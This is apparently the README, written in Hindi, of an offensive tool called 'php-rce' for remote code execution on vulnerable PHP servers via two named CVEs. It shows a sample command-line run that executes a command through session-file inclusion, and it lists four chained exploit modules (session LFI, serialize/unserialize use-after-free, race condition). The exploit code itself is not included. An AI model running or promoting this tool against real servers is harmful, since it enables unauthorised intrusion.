php-rce

• PHP रिमोट कोड एक्ज़ीक्यूशन

CVE-2026-109618 / CVE-2026-109619 के लिए एक्सप्लॉइट। कमज़ोर PHP टारगेट्स पर RCE प्राप्त करने के लिए कई एक्सप्लॉइट।

** उपयोग

#+begin_src sh $ uv sync $ uv run php-rce --url http://target/index.php --cmd "hostname" target: http://target/index.php cmd: hostname

trying session_lfi ... injecting session + scanning 56 LFI paths... found at attempt 23

vulnerable-hostname #+end_src

** एक्सप्लॉइट

• session_lfi :: सेशन फ़ाइल इन्क्लूज़न
• serialize_uaf :: सीरियलाइज़ यूज़-आफ़्टर-फ़्री
• unserialize_uaf :: अनसीरियलाइज़ यूज़-आफ़्टर-फ़्री
• fast_fire :: रेस-कंडीशन आधारित एक्ज़ीक्यूशन

ये क्रमिक रूप से चलते हैं, पहला सफल होने वाला कमांड चलाता है।